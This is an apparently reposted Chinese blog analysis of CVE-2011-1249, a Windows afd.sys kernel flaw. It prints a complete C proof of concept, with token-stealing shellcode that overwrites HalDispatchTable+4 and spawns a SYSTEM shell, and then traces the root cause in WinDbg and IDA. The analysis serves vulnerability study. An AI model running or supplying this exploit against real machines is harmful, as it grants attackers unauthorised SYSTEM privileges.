CVE-2011-1249漏洞分析

admin 2024年9月28日12:06:14评论16 views字数 6346阅读21分9秒阅读模式

最近在学习内网渗透,在提权的时间遇到了利用CVE-2011-1249漏洞进行提权,通过在网上找到了POC,通过看源码来分析一下漏洞点。

首先正常系统运行cmd程序,通过任务管理器可以看到运行是administrator用户。

CVE-2011-1249漏洞分析

利用CVE-2011-1249POC脚本运行,通过任务管理器可以看到运行是system用户。

CVE-2011-1249漏洞分析

CVE-2011-1249POC:

#include <stdio.h>#include <winsock2.h>#include <windows.h>#pragma comment (lib, "ws2_32.lib")typedef struct _RTL_PROCESS_MODULE_INFORMATION {  HANDLE Section;                   PVOID  MappedBase;  PVOID  ImageBase;  ULONG  ImageSize;  ULONG  Flags;  USHORT LoadOrderIndex;  USHORT InitOrderIndex;  USHORT LoadCount;  USHORT OffsetToFileName;  UCHAR  FullPathName[ 256 ];} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;typedef struct _RTL_PROCESS_MODULES {ULONG NumberOfModules;RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;typedef ULONG ( __stdcall *NtQueryIntervalProfile_)(ULONG, PULONG);typedef ULONG ( __stdcall *NtQuerySystemInformation_)(ULONG, PVOID, ULONG, PULONG);typedef ULONG ( __stdcall *NtAllocateVirtualMemory_)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);NtQueryIntervalProfile_  NtQueryIntervalProfile;NtAllocateVirtualMemory_ NtAllocateVirtualMemory;NtQuerySystemInformation_ NtQuerySystemInformation;ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;void _declspec(naked) ShellCode() {    __asm {        pushad        pushfd    mov esi,PsReferencePrimaryToken        FindTokenOffset:        lodsb            cmp al, 8Dh;    jnz FindTokenOffset    mov edi,[esi+1]    mov esi,PsInitialSystemProcess    mov esi,[esi]    push fs:[124h]        mov eax,PsGetThreadProcess    call eax    add esi, edi    add edi, eax    movsd    popfd    popad    ret}}int main(int argc, char* argv[]) {    HMODULE ntdll = GetModuleHandle("ntdll.dll");    NtQueryIntervalProfile   = (NtQueryIntervalProfile_)GetProcAddress(ntdll ,"NtQueryIntervalProfile");    NtAllocateVirtualMemory  = (NtAllocateVirtualMemory_)GetProcAddress(ntdll ,"NtAllocateVirtualMemory");    NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll ,"NtQuerySystemInformation");    if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL) {        printf("Get ntdll function error.");        return 0;    }    ULONG status, NtoskrnlBase;    RTL_PROCESS_MODULES module;    status = NtQuerySystemInformation(11, &module, sizeof(RTL_PROCESS_MODULES), NULL);    if (status != 0xC0000004) {        printf("Query System Information error.");        return 0;    }    NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;    HMODULE ntoskrnl;    ntoskrnl = LoadLibraryA((LPCSTR)(module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName));    if (ntoskrnl == NULL) {        printf("Ntoskrnl error.");        return 0;    }    WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2;    PsInitialSystemProcess  = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;    PsGetThreadProcess      = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;        if (VirtualAlloc((PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) == NULL) {        printf("VirtualAlloc error.");        return 0;        }        memset((PVOID)0x02070000, 0x90, 0x20000);        memcpy((PVOID)0x02080000, ShellCode, 100);        WSADATA wsaData;        WSAStartup(MAKEWORD(2, 2),&wsaData);        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);        sockaddr_in sockaddr;        sockaddr.sin_family      = AF_INET;        sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");        sockaddr.sin_port        = htons(0);        connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));        DWORD dwBuffer[0x30];        dwBuffer[3] = 1;        dwBuffer[4] = 0x20;        DWORD bytesRet;        DeviceIoControl((HANDLE)s, 0x12007, (PVOID)dwBuffer, 0x60, (PVOID)WriteToHalDispatchTable, 0x0, &bytesRet, NULL);        NtQueryIntervalProfile(2, &status);        ShellExecute(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);        closesocket(s);        WSACleanup();        return 0;        }

通过97-107行代码主要在使用socket套接字初始化了一个回送地址测试链接。DeviceIoControl用于发送控制代码到指定设备的驱动程序,在下边使用DeviceIoControl给socket发送一个0x12007控制码。程序在DeviceIoControl中还使用了WriteToHalDispatchTable作为变量指向输出缓冲区的指针。通过POC是在HalDispatchTable这个地址偏移4的位置利用内核漏洞,将ShellCode写入到这个位置,然后用NtQueryIntervalProfile函数执行。

漏洞原理分析

这里为驱动程序的入口函数,位于0x0002DE40位置的DriverEntry()。

CVE-2011-1249漏洞分析

在函数中主要看一下0x0002E08E位置流程快。

CVE-2011-1249漏洞分析

通过IDA中的F5键,将这部分代码转换为伪C代码。在这里我们就可以清晰地看到关于分发函数的设置。在Windows内核中,有一种数据结构叫IRP,它是与I/O相关的一种重要数据结构。上层应用程序(Ring3)与底层驱动程序(Ring0)通信时,应用程序就会发出I/O请求。操作系统将I/O请求转化为相应的IRP数据结构,不同类型的IRP会根据类型的不同而传递到不同的分发函数内,IRP会在分发函数中得到处理。IRP拥有两个基本属性——MajorFunction和MinorFunction,分别用于存储IRP的主类型和子类型。操作系统根据MajorFunction将IRP分发到不同的分发函数中,在分发函数中还可以继续判断这个IRP属于哪一种MinorFunction。

       于是在100行的memset32()函数会把AfdDispatch全部赋给DriverObject->MajorFunction,也就是将驱动对象的IRP主类型全都设置成AfdDispatch函数。之后在第101行,又将下标为14的DriverObject->MajorFunction设置成了AfdDispatchDeviceControl。

CVE-2011-1249漏洞分析

这里通过双击调试,在进入系统中进行中断,输入“!drvobj afd 2”命令进行观察,DriverObject->MajorFunction下标为14的是IRP_MJ_DEVICE_CONTROL。

CVE-2011-1249漏洞分析

在102行中程序将DriverObject->FastIoDispatch设置成了AfdFastIoDispatch,FastIoDispatch指针指向的是定义驱动程序快速I/O的入口点结构,该成员仅由FSD和网络传输驱动程序使用。在103行DriverObject->DriverUnload被设置成了AfdUnload,AfdUnload是一个驱动卸载函数。

CVE-2011-1249漏洞分析

进入AfdDispatchDeviceControl,在这个函数中有_AfdIoctlTable和_AfdIrpCallDispatch两个结构需要注意。通过反汇编可以发现_AfdIoctlTable需要与寄存器中的值,也就是控制码值进行比较,如果他们相等程序才会继续向下执行。

CVE-2011-1249漏洞分析

  ba e1 afd!AfdDispatchDeviceControl+0x28 ".if(@edi==0x12007){}.else{gc}"

CVE-2011-1249漏洞分析

CVE-2011-1249漏洞分析

利用双机调试输入如上代码,如多edi等于0x12007也就是POC中的控制码就会进行断掉。通过图片可以看到断在了AfdIoctlTable的位置。AfdIrpCallDispatch结构的基地址为0xb1f4f1b8,esi可以理解为它的偏移,也就是4,因此控制码0x12007所对应的函数地址就是0xb1f4f1bc,这里WinDbg已经给我们解析出来了,是AfdConnect函数。这里首先找到了AfdIrpCallDispatch结构的第二处地址为0xb1f50c55,然后通过ln命令列出就近的符号,就可以确定这个位置是afd模块中的AfdConnect()函数了。

CVE-2011-1249漏洞分析

在PoC中代码会改写HalDispatchTable结构,通过dd命令查看这个结构的内容。

CVE-2011-1249漏洞分析

我们重点关注的是以其基地址作为开始,偏移为4的内容,因为内核漏洞经常修改这个地方的内容以植入ShellCode,可以在这里下一个断点,当这个地方的内存出现读写操作时,就被断下来:

CVE-2011-1249漏洞分析

可以看到,此时被断下的位置是afd!AfdConnectApcKernelRoutine,说明就是这个位置改写了HalDispatchTable结构,或者也可以说,漏洞的根源就在于这个函数的内部。此时可以使用kn来看一下栈回溯的情况:

CVE-2011-1249漏洞分析

这里可以找到我们最开始发现的控制码所对应的函数afd!AfdConnect,更能看到整个的调用流程,这对于我们理解AfdConnect函数的实现机制还是很有帮助的。通过断点所断下的位置,我们知道当前程序在0xb1f5239d位置的or语句处被断下,此时HalDispatchTable结构已经被改写了,通过dd命令查看。

CVE-2011-1249漏洞分析

到这里已经被修改了,也就是说,一会程序就会执行位于0x0207bfba位置的ShellCode代码。通过windbg的Disassembly查看AfdConnectApcKernelRoutine这个函数:

CVE-2011-1249漏洞分析

于是可以知道,实现改写的是位于0xb1f5239b的mov语句,通过查看各个寄存器的内容可以知道,这里eax的值正是HalDispatchTable结构的地址空间,也就是PoC代码的输出缓冲区的空间,这个值是可以由自己指定的,ShellCode的地址接下来就会通过ecx的赋值操作被写入到这里。

至此就弄清楚了漏洞的成因,通过调用DeviceIoControl这个函数,将输出地址设置成HalDispatchTable结构的地址空间,而驱动程序对于这个地址的合法性并没有做严格的检查,就导致写入内核地址之后,再经过一系列的操作,就可以实现提权。

      HalDispatchTable结构偏移为4的地址位置会被执行,我们用g命令让程序继续执行,可以看到程序又在我们刚才下的内存读写断点,即0x0207bfba的位置被断下了,说明此处的ShellCode已经开始被执行了,然后我们看一下栈回溯的情况:

CVE-2011-1249漏洞分析

由栈空间的情况我们可以知道,当前的ShellCode是被nt!KeQueryIntervalProfile函数所调用的,这在原始的PoC代码中也看到了。我们使用ub命令反汇编一下这个函数,主要看一下函数偏移为0x37位置上方的代码:

ub nt!KeQueryTntervalProfile+0x37

CVE-2011-1249漏洞分析

可以看到,这个函数的一项功能就是调用nt!HalDispatchTable+0x4位置的语句,于是也就解释了,为什么内核漏洞的利用代码,总喜欢拿这个位置做文章了。

原文始发于微信公众号(我真不会渗透):CVE-2011-1249漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日12:06:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2011-1249漏洞分析https://cn-sec.com/archives/1997558.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息